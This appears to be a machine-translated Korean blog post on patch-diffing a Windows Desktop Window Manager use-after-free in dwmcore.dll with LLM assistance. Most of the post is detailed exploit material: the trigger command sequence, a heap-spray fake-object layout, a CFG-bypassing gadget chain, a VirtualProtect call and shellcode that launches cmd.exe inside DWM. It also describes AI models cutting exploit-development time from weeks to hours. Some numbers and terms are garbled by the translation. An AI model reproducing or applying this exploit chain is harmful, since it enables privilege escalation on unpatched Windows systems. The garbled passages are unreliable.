Intro
패치 디핑은 오랫동안 저를 매료시켰습니다. 그 중 일부는 시간과의 경쟁, 역전, 익스플로잇, '1일' 익스플로잇 상태를 달성하기 위한 노력과 관련이 있다고 생각합니다. 발렌티나 팔미오티와 루벤 부넨은 이미 거의 3 전에 고급 Windows 대상의 경우 이 기능이 가능하다는 것을 증명했습니다. 하지만 이들은 세계에서 가장 재능 있는 익스플로잇 개발자들 중 일부입니다. LLM이 우리 인간들의 역량 바닥을 높일 수 있을까요? 다행히도, 그리고 다소 놀랍게도 대답은 '그렇다'입니다.
사냥
1월 화요일 패치 공지( 2026 )가 올라왔을 때, 저는 패치된 취약점 중 하나를 찾아내고 (희망적으로) 이에 대한 익스플로잇을 개발하기 위해 검색을 시작했습니다. 공격 대상 목록의 최상위에는 이미 야생에서 악용되는 것으로 알려진 취약점이 있었습니다. 1월 패치에는 데스크톱 창 관리자(DWM)의 정보 유출 취약점이 포함되어 있어 눈길을 끌었습니다. 또한 로컬 권한 상승으로 이어질 수 있는 두 번째 DWM 취약점도 포함되었습니다. 역사적으로 DWM은 로컬 권한 에스컬레이션의 인기 있는 표적이었습니다. 때로는 정확한 패치된 구성 요소를 식별하는 것이 까다로울 수 있지만, DWM의 경우 dwmcore.dll이 항상 안전한 방법입니다.
파일에 대해 Ghidra를 학습시키고 모든 함수에 대해 BSim 벡터를 추출한 후에는 각 함수의 차이점을 쉽게 파악할 수 있습니다. 말할 것도 없이, 많은 Microsoft 패치 취약점은 새로운 기능 플래그와 함께 제공됩니다. 말할 필요도 없이 Opus 4.5는 신속하게 차이점을 파악하고 몇 분 안에 취약점 중 하나를 식별했습니다.
======================================================================
BSim PATCH DIFF REPORT
======================================================================
File 1: dwmcore_vuln.dll
File 2: dwmcore_patched.dll
======================================================================
----------------------------------------------------------------------------------------------------
TOP 10 MOST MODIFIED FUNCTIONS
----------------------------------------------------------------------------------------------------
dwmcore_vuln.dll dwmcore_patched.dll Sim Jaccard
----------------------------------------------------------------------------------------------------
FUN_1802e7842 FUN_1802e7842 0.1191 0.0632
FUN_1802e92d6 FUN_1802e92d6 0.1470 0.0722
FUN_1802e5faa FUN_1802e5faa 0.1741 0.0769
~CDelegatedInkCanvas ~CDelegatedInkCanvas 0.7556 0.6047
GetBufferedOutputTransformed GetBufferedOutputTransformed 0.7628 0.6154
FrameStarted FrameStarted 0.7833 0.6429
~CSynchronousSuperWetInk ~CSynchronousSuperWetInk 0.8018 0.6667
FUN_1802f5aa2 FUN_1802f5aa2 0.9127 0.8393
FUN_1802f57d2 FUN_1802f5d72 0.9127 0.8393
======================================================================
여기서부터 기능적인 익스플로잇을 구축하는 시간이 생각보다 고통스러울 정도로 느렸다고 말하지 않을 수 없습니다. 저는 긴 밤과 주말에 여러 번 모델을 찔러보고 만져보았습니다. 이 중 많은 부분이 버그 클래스와 하위 시스템에 익숙하지 않은 저 자신의 문제였습니다. 결국, 우리는 승리하여 낮은 권한에서 DWM 및 시스템으로 RCE를 가져왔습니다. 그 과정에서 GetRECT 스프레이, 새로운 가젯 체인, DWM에서 시스템으로의 경로와 같은 여러 가지 새로운 익스플로잇 기법을 발견했습니다. 그러나 이러한 기술(및 일부 다른 툴링)과 Opus 4.6과 같은 최신 모델 릴리스가 적용되면서 DWM에서 UAF 취약점을 발견한 후 기능 익스플로잇까지 걸리는 시간이 3 몇 주에서 몇 시간으로 단축되었습니다.
버그
이 취약점은 CSynchronousSuperWetInk::~CSynchronousSuperWetInk 에서 사용 후 무료입니다. 소멸자는 IsSuperWetCompatible() 의 반환값에 따라 CSuperWetInkManager 에서 조건부로 객체를 제거합니다.
void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
this->vtable = &_vftable_;
bool bVar2 = IsSuperWetCompatible(this);
if (bVar2) {
CSuperWetInkManager::RemoveSource(this->composition->superWetInkManager, this);
}
// ... cleanup continues
}
dwmcore.dll 버전 10.0.26100.7309의 취약한 소멸자.
IsSuperWetCompatible 조건
bool CSynchronousSuperWetInk::IsSuperWetCompatible(CSynchronousSuperWetInk *this) {
if ((this->LookupMode == 2 || this->notifier1 != NULL) &&
this->clipEntry != NULL && this->comObject != NULL) {
return true;
}
return false;
}
dwmcore.dll 버전 10.0.26100.7309의 IsSuperWetCompatible 조건.
이 함수는 LookupMode 이 2이거나 notifier1 가 설정되어 있고 clipEntry 와 comObject 가 모두 널이 아닌 경우에만 true 을 반환합니다.
버그
공격자는 할 수 있습니다:
- 관리자에게
CSynchronousSuperWetInk등록(Draw()중LookupMode=2필요) LookupMode을 0 으로 변경CMD_SET_PROPERTY- 다음을 통해 파기를 트리거합니다.
CMD_RELEASE_RESOURCE IsSuperWetCompatible()반환 FALSE →RemoveSource()건너뛰기- 매달린 포인터는
CSuperWetInkManager::localStrokesVector
나중에 DWM이 이 벡터를 반복할 때(예: DirtyActiveInk), 해제된 객체의 vtable을 역참조하여 코드 실행을 제어합니다.
수정 사항
이 패치는 기능 플래그(Feature_1732988217)를 추가합니다. 활성화하면 IsSuperWetCompatible() 에 관계없이 RemoveSource() 이 무조건 호출됩니다. 이렇게 하면 오브젝트가 소멸하는 동안 항상 관리자에서 제대로 등록 해제되어 매달려 있는 포인터가 제거됩니다.
void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
*(undefined ***)this = &_vftable_;
bool bVar2 = wil::details::FeatureImpl<Feature_1732988217>::__private_IsEnabled(&impl);
if (!bVar2) {
bVar2 = IsSuperWetCompatible(this);
if (!bVar2) goto LAB_1802a9b1a; // Skip RemoveSource only if feature disabled AND !compatible
}
CSuperWetInkManager::RemoveSource(..., this);
LAB_1802a9b1a:
// ... cleanup continues
}
dwmcore.dll 버전 10.0.26100.7623의 고정 소멸자.
익스플로잇
UAF는 다이렉트 컴포지션 API를 통해 일반 사용자 모드 애플리케이션에서 트리거할 수 있습니다. 이 공격에는 특별한 권한이 필요하지 않습니다.
필수 구성 요소
- D3D11/DXGI 인프라: BGRA를 지원하는 D3D11 디바이스와 가시적 창을 위한 스왑 체인을 생성합니다.
- 다이렉트 컴포지션 장치:
DCompositionCreateDevice()을 통해 DXGI 장치로 초기화합니다. - NtDComposition 시스콜 액세스:
win32u.dll을 통해NtDCompositionProcessChannelBatchBuffer및NtDCompositionCommitChannel을 직접 호출하거나 후크하여 원시 배치 버퍼 명령을 주입합니다.
트리거 시퀀스
1단계: 잉크 흔적 생성(CSynchronousSuperWetInk 할당)
다이렉트컴포지션 기기에서 IDCompositionInkTrailDevice 를 쿼리한 다음 CreateDelegatedInkTrailForSwapChain() 또는 CreateDelegatedInkTrail() 로 문의하세요. 이렇게 하면 dwm.exe의 힙에 CSynchronousSuperWetInk 객체(리소스 유형 0xa8)가 할당됩니다.
2단계: 비주얼 생성 및 LookupMode=2 설정하기
배치 버퍼 명령을 주입합니다:
CMD_CREATE_RESOURCE(0x02)로CSuperWetInkVisual(0xa5)를 생성합니다.- 비주얼을 잉크 소스에 연결:
CMD_SET_REFERENCE(0x10), propId 사용0x34 CMD_SET_PROPERTY(0x0B)를 통해 잉크 소스에LookupMode=2를 propId로 설정합니다.10- 컴포지션 트리에 연결: 1 및 2 (컴포지션 타겟/마샬러)를 propId로 처리하기 위해
CMD_SET_REFERENCE0x34
LookupMode=2는 Draw() 동안 IsSuperWetCompatible() 이 TRUE를 반환하도록 하여 CSuperWetInkManager::localStrokesVector 에 객체를 등록합니다.
3단계: 렌더링 프레임을 매니저에 등록하기
여러 프레임을 제시하고(IDXGISwapChain::Present) DirectComposition 변경 사항을 커밋합니다. 이렇게 하면 DWM의 렌더링 루프가 트리거되어 잉크 인프라를 호출하고 관리자의 내부 벡터에 CSynchronousSuperWetInk 포인터를 등록합니다.
4단계: 룩업모드=0 설정(제거 확인 우회)
CMD_SET_PROPERTY 을 입력하여 LookupMode 을 0 으로 변경합니다. 이제 IsSuperWetCompatible() 은 FALSE를 반환합니다:
if ((this->LookupMode == 2 || this->notifier1 != NULL) && ...)
LookupMode = 0 및 알림이 없는 경우 첫 번째 조건은 실패합니다.
5단계: 잉크 흔적 해제(댕글 포인터 만들기)
- 시각적 참조 연결 끊기:
CMD_SET_REFERENCE, 모든 연결에 대해 refHandle=0 사용 IDCompositionDelegatedInkTrail인터페이스 공개
소멸자 ~CSynchronousSuperWetInk 가 실행될 때:
IsSuperWetCompatible()을 호출하면 FALSE (LookupMode=0)를 반환합니다.RemoveSource()건너뛰기- 개체는 해제되었지만 해당 포인터는 여전히
CSuperWetInkManager::localStrokesVector
6단계: DirtyActiveInk 트리거(사용 후 무료)
프레임을 계속 표시하고 창을 무효화합니다. DWM의 컴포지션 루프는 CSuperWetInkManager::DirtyActiveInk() 을 호출하여 localStrokesVector 을 반복하고 댕글 포인터를 참조 해제합니다:
pcVar2 = *(code **)((longlong)((CResource *)*puVar4)->vtable + 0x50);
크래시 동작
힙 스프레이가 없으면 해제된 메모리에 액세스할 때 DWM이 충돌합니다:
# Call Site
00 ntdll!KiUserExceptionDispatch
01 0x00007ffe`f23270d1
02 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xae
03 dwmcore!CComposition::PreRender+0x99f
04 dwmcore!CComposition::ProcessComposition+0x1d7
05 dwmcore!CConnection::MainCompositionThreadLoop+0x4a
해제된 메모리가 다른 객체(예: CInteractionTrackerScaleAnimation)에 의해 회수되면 예기치 않은 vtable에서 충돌이 발생합니다:
kd> dps rcx
00000201`fbef65f0 00007ffe`ebf60014 dwmcore!CInteractionTrackerScaleAnimation::`vftable'+0x24
공격자는 어떤 데이터가 해제된 할당을 회수하는지 제어함으로써 가짜 가상 테이블을 만들고 가상 호출( vtable+0x50)을 통해 임의의 코드 실행을 달성할 수 있습니다.
힙 스프레이
UAF를 악용하려면 가짜 vtable이 포함된 공격자가 제어하는 데이터로 해제된 CSynchronousSuperWetInk 할당을 되찾아야 합니다. 이 섹션에서는 GetRECT라고 하는 CRegionGeometry RECT 버퍼 스프레이 기법에 대해 설명합니다.
대상 개체 속성
| 속성 | 값 |
|---|---|
| 개체 | CSynchronousSuperWetInk |
| 크기 | 0x120(288바이트) |
| 할당자 | DefaultHeap::AllocClear → GetProcessHeap() |
| LFH 버킷 | 34(273-288바이트 범위) |
| 하위 세그먼트당슬롯 | 57 |
스프레이 프리미티브: CRegionGeometry RECT 버퍼
스프레이는 RECT 배열 데이터와 함께 CRegionGeometry 리소스(유형 0x81)를 사용합니다:
| 속성 | 값 |
|---|---|
| 리소스 유형 | 0x81 (CRegionGeometry) |
| 스프레이 크기 | 18 RECT × 16 바이트 = 288바이트 |
| 할당자 | std::_Allocate<16> → HeapAlloc(GetProcessHeap(), 0, 288) |
| LFH 버킷 | 34, 목표와 동일 |
| 콘텐츠 제어 | 72개의 int32 값(18 RECT × 4 필드) |
할당 체인:
dcomp.dll: SetRectangles → ResourceSetBufferPropertyCustomWrite
win32kbase: CRegionGeometryMarshaler::SetBufferProperty → CMarshaledArray::Copy
dwmcore.dll: SetRectangles → std::vector::_Insert_counted_range
→ std::_Allocate<16> → HeapAlloc(GetProcessHeap(), 0, 288)
RECT 버퍼는 CMD_SET_BUFFER_PROPERTY (0x0F)와 propId 5 를 통해 기록됩니다:
struct CmdSetResourceBufferProperty {
uint32_t cmdId; // 0x0F
uint32_t handle; // Resource handle
uint32_t propId; // 5 for RECT array
uint32_t dataSize; // 288 for 18 RECTs
// Variable-length RECT data follows (4-byte aligned)
};
페이크 오브젝트를 위한 RECT 레이아웃
18 RECT(288바이트)는 회수된 메모리를 완전히 제어할 수 있습니다:
struct SprayRECT {
int32_t left; // +0x00 within RECT
int32_t top; // +0x04
int32_t right; // +0x08
int32_t bottom; // +0x0C
};
// Total: 72 int32 values = complete coverage of CSynchronousSuperWetInk fields
// Key offsets for exploit:
// +0x00: fake vtable pointer (RECT[0].left/top)
인접한 RECT 필드에 64비트 값을 쓸 수 있는 도우미입니다:
static void SetU64(int32_t* lo, int32_t* hi, uint64_t val) {
*lo = (int32_t)(val & 0xFFFFFFFF);
*hi = (int32_t)(val >> 32);
}
착취 원시
UAF는 스프레이된 오브젝트를 가리키는 RCX를 통해 제어된 브이테이블 호출을 제공합니다. DirtyActiveInk 이 매달린 포인터를 반복합니다:
pcVar2 = *(code **)((longlong)((CResource *)*puVar4)->vtable + 0x50);
(*pcVar2)(); // call [[spray]+0x50] with RCX = spray
사이트 스택을 호출합니다:
00 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xa9
01 dwmcore!CComposition::PreRender+0x99f
02 dwmcore!CComposition::ProcessComposition+0x1d7
03 dwmcore!CConnection::MainCompositionThreadLoop+0x4a
04 dwmcore!CConnection::RunCompositionThread+0x142
05 KERNEL32!BaseThreadInitThunk+0x17
06 ntdll!RtlUserThreadStart+0x2c
파견 시 상태를 등록합니다:
RCX= 스프레이된 객체에 대한 포인터(제어된 288 바이트)RIP=[[spray]+0x50](가짜 vtable의 함수 포인터)
타깃 함수 제약 조건
처음에는 호출할 수 있는 항목에 두 가지 제한이 있습니다:
- 타겟은 CFG 비트맵에 있어야 합니다(유효한 호출 타겟으로 표시됨).
- 대상에 대한 포인터가 있어야 합니다(IAT, vtable 또는 기타 읽기 가능한 메모리에 있음).
임의의 주소를 직접 호출할 수 없으며 두 조건을 모두 충족하는 함수만 호출할 수 있습니다.
가젯 체인: __fnINSTRING + CStdAsyncStubBuffer2_Disconnect
UAF가 제어된 vtable 호출(RIP = [[spray]+0x50], RCX = spray)을 제공하므로 이제 남은 과제는 임의의 코드 실행을 위해 CFG 유효한 가젯을 연결하는 것입니다. 직접 셸코드 실행은 CFG에 의해 차단되며 힙 주소 유출은 없습니다. 코드 실행을 위해 두 가지 문제를 모두 해결하는 새로운 가젯 체인을 개발했지만, 2 익스플로잇 시도가 성공해야 하므로 안정성이 떨어졌습니다. 따라서 두 개의 Windows 시스템 DLL 가젯을 사용하는 알려진 공개 기법으로 전환했습니다: __fnINSTRING (user32.dll). 및 CStdAsyncStubBuffer2_Disconnect (combase.dll).
1단계: __fnINSTRING - 누수 없는 커널 콜백 디스패치
Windows 커널은 오프셋 +0x58 에 있는 PEB에 저장된 함수 포인터 테이블인 KernelCallbackTable (KCT)를 통해 사용자 모드로 다시 통신합니다. 각 항목은 user32.dll 의 __fn* 핸들러를 가리킵니다. 이러한 함수는 CFG 유효한 호출 대상이며 읽기 가능한 메모리(KCT 자체)에 포인터를 가지고 있어 두 가지 제약 조건을 모두 충족합니다.
가짜 가상 테이블을 &KCT[fnINSTRING_index] - 0x50 로 지정합니다. DirtyActiveInk가 [[spray]+0x50] 를 참조하면 KCT 항목을 읽고 __fnINSTRING 로 전송합니다:
[[spray]+0x50]
= [KCT_entry_addr - 0x50 + 0x50]
= [KCT_entry_addr]
= &__fnINSTRING
이 기능이 유용한 이유는 __fnINSTRING 내부적으로 수행하는 작업 때문입니다. 이 함수는 인자(스프레이 버퍼)를 _CAPTUREBUF 구조로 취급하고 내부 함수를 호출하기 전에 FixupCallbackPointers 을 호출합니다. FixupCallbackPointers 는 버퍼에서 픽스업 테이블을 읽고 버퍼의 기본 주소를 추가하여 상대적 오프셋을 절대 주소로 변환합니다:
// Simplified FixupCallbackPointers logic:
void FixupCallbackPointers(_CAPTUREBUF* buf) {
if (buf->guard != 0) return; // already fixed up - skip
int32_t* fixups = (int32_t*)((char*)buf + buf->fixupTableOffset);
for (int i = 0; i < buf->fixupCount; i++) {
int32_t* target = (int32_t*)((char*)buf + fixups[i]);
*(uint64_t*)target += (uint64_t)buf; // relative → absolute
}
}
이렇게 하면 힙 주소가 유출될 염려가 없습니다. 스프레이 버퍼에 상대 오프셋을 삽입하고 FixupCallbackPointers 버퍼의 자체 주소를 사용하여 런타임에 절대 포인터로 패치합니다. 수정 후 __fnINSTRING 은 +0x48 에서 내부 함수 포인터를 +0x28 (RCX), +0x30 (EDX), +0x38 (R8), +0x50 (R9)의 인수와 함께 전송합니다.
내부 함수를 CStdAsyncStubBuffer2_Disconnect 로 설정합니다.
2단계: CStdAsyncStubBuffer2_Disconnect - 두 개의 연쇄된 Vtable 호출
CStdAsyncStubBuffer2_Disconnect 는 combase.dll 에서 내보내므로 안정적인 주소로 CFG 유효성을 갖습니다. 이를 분해하면 유용한 프리미티브, 즉 인자 레지스터가 보존된 두 개의 순차적 vtable 디스패치가 드러납니다:
; CStdAsyncStubBuffer2_Disconnect (simplified)
MOV RBX, RCX ; save this
MOV RCX, [RCX-8] ; load [this-8] -> fake_obj_1
TEST RCX, RCX
JZ skip1
MOV RAX, [RCX] ; vtable
MOV RAX, [RAX+0x20] ; vtable[4]
CALL guard_dispatch_icall ; CALL #1: [[this-8]+0x20] ← VirtualProtect
skip1:
XOR ECX, ECX
XCHG [RBX+0x10], RCX ; DEFUSE: read [this+0x10], zero it
TEST RCX, RCX
JZ skip2
MOV RAX, [RCX] ; vtable
MOV RAX, [RAX+0x10] ; vtable[2]
CALL guard_dispatch_icall ; CALL #2: [[[this+0x10]]+0x10] ← shellcode
skip2:
ADD RSP, 0x20
POP RBX
RET
RDX, R8, R9 은 두 호출을 통해 보존되며 __fnINSTRING 의 인수 설정에서 그대로 도착합니다. 이렇게 하면 두 vtable 호출의 처음 세 인수를 완전히 제어할 수 있습니다.
Vtable 호출 #1: VirtualProtect → RWX
스프레이 버퍼에서 +0xC8 에 자체 참조 가짜 객체를 구성합니다. [+0xC8] 은 (수정 후) 자신을 가리키므로 [RCX] → [RCX+0x20] 를 참조 해제하면 VirtualProtect 의 주소를 +0xE8 에서 읽습니다. 인수는 ( __fnINSTRING dispatch에서 보존됨) 다음과 같습니다:
| 등록 | 값 | 목적 |
|---|---|---|
| RCX | base+0xC8 (fake_obj_1) | lp주소(스프레이 버퍼 영역의 시작) |
| RDX | 0x1000 | dwSize |
| R8 | 0x40 | flNewProtect (PAGE_EXECUTE_READWRITE) |
| R9 | base+0xC0 | lpflOldProtect(스프레이 버퍼의 출력 슬롯) |
이 호출 후 스프레이 버퍼의 메모리 페이지가 RWX로 표시되고 이 영역에서 실행할 수 있도록 CFG 비트맵이 업데이트됩니다.
Vtable 호출 #2: 인라인 셸코드
가상 보호가 반환된 후 연결 해제는 두 번째 가상 테이블 디스패치를 위해 [this+0x10] 를 RCX에 로드합니다:
XOR ECX, ECX
XCHG [RBX+0x10], RCX ; RCX = [base+0x90] = base+0xA0 (fake_obj_2)
TEST RCX, RCX
JZ skip2 ; non-zero → take the call
MOV RAX, [RCX] ; RAX = [base+0xA0] = base+0xA8 (fake vtable_2)
MOV RAX, [RAX+0x10] ; RAX = [base+0xB8] = base+0xD0 (shellcode!)
CALL guard_dispatch_icall ; call base+0xD0
포인터 체인은 단계별로 해결됩니다:
[this+0x10]=[base+0x90]=base+0xA0(fake_obj_2)[RCX]=[base+0xA0]=base+0xA8, fake_obj_2의 vtable 포인터 (수정 후)[RAX+0x10]=[base+0xB8]=base+0xD0, vtable_2의 세 번째 항목으로, 셸 코드를 가리킵니다.
최종 CALL guard_dispatch_icall 은 앞의 VirtualProtect 호출 덕분에 이제 실행 가능하고 CFG에 유효한 인라인 셸코드인 base+0xD0 으로 전송됩니다.
셸코드 레이아웃
셸코드가 두 단계로 나뉘는 이유는 VirtualProtect 주소 데이터가 +0xE8 (1번 호출에서는 vtable_1[0x20] 으로 사용됨)에 위치하여 실행 영역 중간에 공백이 생기기 때문입니다:
페이즈 1 (+0xD0, 22 바이트): 이후 주소 연산을 위해 RCX (base+0xA0)를 RBX 에 저장하고, 섀도 공간을 할당하고, SW_SHOW (5)를 RDX 에 로드하고, movabs RAX 를 통해 WinExec 의 절대 주소를 로드한 다음 +0xE8 에서 8바이트 데이터 갭을 뛰어넘습니다:
mov rbx, rcx ; save base+0xA0 for address math
sub rsp, 0x28 ; shadow space
push 5
pop rdx ; uCmdShow = SW_SHOW
movabs rax, <WinExec addr> ; 10-byte immediate load
jmp +0x0A ; skip over +0xE8 data → land at +0xF0
페이즈 2 (+0xF0): 셸코드 끝에 포함된 "cmd.exe\0" 문자열에 대한 RIP-상대 포인터로 WinExec 을 호출하고, 안전한 재진입을 위해 스프레이를 디퓨즈한 다음 스택 픽업을 수행하여 DWM의 컴포지션 루프로 바로 돌아갑니다:
lea rcx, [rip+0x22] ; rcx = &"cmd.exe"
call rax ; WinExec("cmd.exe", SW_SHOW)
; Defuse: rewrite fake vtable so re-entry is harmless
lea rax, [rbx+0x78] ; rax = address of the ret below
mov [rbx-0x48], rax ; [base+0x58] = ret_gadget
lea rax, [rbx-0x98] ; rax = base+0x08
mov [rbx-0xA0], rax ; [base+0x00] = base+0x08 (new fake vtable)
; Stack fixup: skip Disconnect + __fnINSTRING return frames
add rsp, 0xB8 ; 0x28 shadow + 0x90 to unwind past intermediate frames
xor eax, eax ; zero return value
ret ; return directly to DWM composition loop
; "cmd.exe\0" embedded here
add rsp, 0xB8 는 안정성을 향상시킵니다. 순진한 add rsp, 0x28 은 CStdAsyncStubBuffer2_Disconnect 으로 반환되고, 은 다시 __fnINSTRING 으로 반환되어 NtCallbackReturn 을 호출합니다. 이 커널 콜백 반환 경로는 하이재킹된 호출의 맥락에서 취약할 수 있습니다. 스택 조정에 0x90 을 추가하면 셸코드가 두 중간 프레임을 완전히 건너뛰고 DWM 구성 루프에서 DirtyActiveInk 의 호출자에게 직접 반환합니다.
안전한 재진입: 스프레이 해체하기
DWM의 DirtyActiveInk 은 매달린 포인터를 두 번 이상 반복할 수 있습니다. 해제하지 않으면 재진입할 때마다 전체 체인이 다시 트리거되고 충돌이 발생합니다. 셸코드는 스프레이의 vtable 포인터를 재작성하여 후속 참조가 무해한 경로를 따르도록 합니다:
[base+0x00]을base+0x08(새 가짜 가상 테이블)으로 덮어씁니다.[base+0x58]를ret명령어의 주소로 덮어씁니다.
재입력 시: [[base+0x00]+0x50] = [base+0x08+0x50] = [base+0x58] = ret. vtable 호출이 즉시 반환됩니다. __fnINSTRING 가 더 이상 KCT 항목을 가리키지 않기 때문에 다시 호출되지 않습니다.
완벽한 스프레이 레이아웃
FixupCallbackPointers 이후의 전체 288바이트 스프레이 버퍼(18 RECT) :
| 오프셋 | 크기 | 콘텐츠 | 목적 |
|---|---|---|---|
| +0x00 | 8 | KCT_entry - 0x50 | 가짜 가상 테이블 → __fnINSTRING |
| +0x08 | 4 | 8 | 수정 횟수 |
| +0x18 | 4 | 0x58 | 수정 테이블 오프셋 |
| +0x20 | 8 | 베이스 (수정됨) | 가드(재수정 차단) |
| +0x28 | 8 | 기본+0x80(수정됨) | RCX → 연결 끊기 this |
| +0x30 | 4 | 0x1000 | EDX → VirtualProtect dwSize |
| +0x38 | 8 | 0x40 | R8 → 페이지_실행_읽기/쓰기 |
| +0x48 | 8 | &연결 해제 | 내부 함수 포인터 |
| +0x50 | 8 | base+0xC0 (수정됨) | R9 → lpflOldProtect |
| +0x58 | 32 | 수정 테이블(8개 항목) | 패치할 오프셋 |
| +0x78 | 8 | base+0xC8 (수정됨) | [this-8] → fake_obj_1 |
| +0x80 | 8 | (미사용) | this 베이스 연결 해제 |
| +0x90 | 8 | base+0xA0 (수정됨) | [this+0x10] → fake_obj_2 |
| +0xA0 | 8 | base+0xA8 (수정됨) | 가짜_객체_2 V테이블 |
| +0xB8 | 8 | base+0xD0 (수정됨) | vtable_2[0x10] → 셸코드 |
| +0xC0 | 4 | (출력) | 가상 보호 lpflOldProtect |
| +0xC8 | 8 | base+0xC8 (수정됨) | 자체 참조 가상 테이블(fake_obj_1) |
| +0xD0 | 22 | 셸코드 1단계 | 레지스트리 저장, WinExec 로드, jmp |
| +0xE8 | 8 | &가상 보호 | vtable_1[0x20] 데이터 |
| +0xF0 | 48 | 셸코드 2단계 | WinExec + 디퓨즈 + 스택 수정 + "cmd.exe\0" |
전체 체인 요약
DirtyActiveInk iterates dangling pointer
→ [[spray+0x00]+0x50] = __fnINSTRING(spray)
→ FixupCallbackPointers: 8 relative offsets → absolute
→ Dispatch: CStdAsyncStubBuffer2_Disconnect(base+0x80, 0x1000, 0x40, base+0xC0)
→ Vtable call #1: VirtualProtect(base+0xC8, 0x1000, RWX, base+0xC0)
→ Spray buffer page is now RWX, CFG bitmap updated
→ Vtable call #2: shellcode at base+0xD0
→ WinExec("cmd.exe", SW_SHOW)
→ Defuse: rewrite vtable for safe re-entry
→ Stack fixup: add rsp, 0xB8 to skip Disconnect + __fnINSTRING frames
→ RET directly to DWM composition loop
→ DirtyActiveInk re-entry: [[base]+0x50] = ret → clean return
DWM 프로세스는 시스템 무결성을 가진 DWM 사용자로 실행됩니다. 시스템을 달성하기 위한 이전의 공개 기술은 일반적으로 LogonUI 또는 동의와 같은 권한 있는 클라이언트 프로세스에 매핑된 함수 포인터를 하이재킹하는 것입니다. 그러나 이 기술은 최근 공유 섹션이 읽기 전용으로 매핑되어 패치가 적용된 것으로 보입니다. 저희는 시스템에 대한 새로운 대체 경로를 개발했지만 현재로서는 이 기술의 공개를 보류하기로 결정했습니다.
마무리 생각
오늘날 우리가 보유한 모델은 역사적으로 오랜 기간 동안 축적된 깊은 전문성을 필요로 하는 작업에서 뛰어난 능력을 발휘합니다. 여기에는 리버스 엔지니어링, 취약점 발견, 익스플로잇 개발 등이 포함됩니다. 그들의 역량은 매우 뛰어나며, 아직 이 분야에서 세계 최고에 필적할 만한 수준은 아닙니다. 그러나 모델 발전의 행진은 현재로서는 둔화될 기미가 보이지 않습니다. 이는 방어자에게는 공평한 경쟁의 장을 제공하지만 공격자의 역량도 높여줍니다. 적대적인 고양이와 쥐의 게임은 항상 존재해왔고 이런 점에서 새로운 것은 아니지만, 공격자들은 적어도 단기적으로는 이러한 도구를 악용할 수 있는 비대칭적인 우위에 있습니다. 공격자는 AI 시스템의 안전이나 보안에 대한 걱정 없이 더 빠르게 공격할 수 있습니다. 방어자는 코드(취약점), 보안 제품(탐지 공백), 기업(공격자 에뮬레이션)에 대한 공격 목적으로 AI를 활용하여 공격자보다 먼저 약점을 찾아내고 개선된 방어를 반복해야 합니다. 안타깝게도 보안팀이 없는 소규모 조직이 단기적으로 가장 큰 어려움을 겪을 수 있습니다. 장기적으로는 보안 커뮤니티가 함께 공격 및 방어 연구를 통해 공격자를 압도하고, 시작보다 더 나은 위치에서 이 시대를 마무리하는 것이 저의 바람입니다.
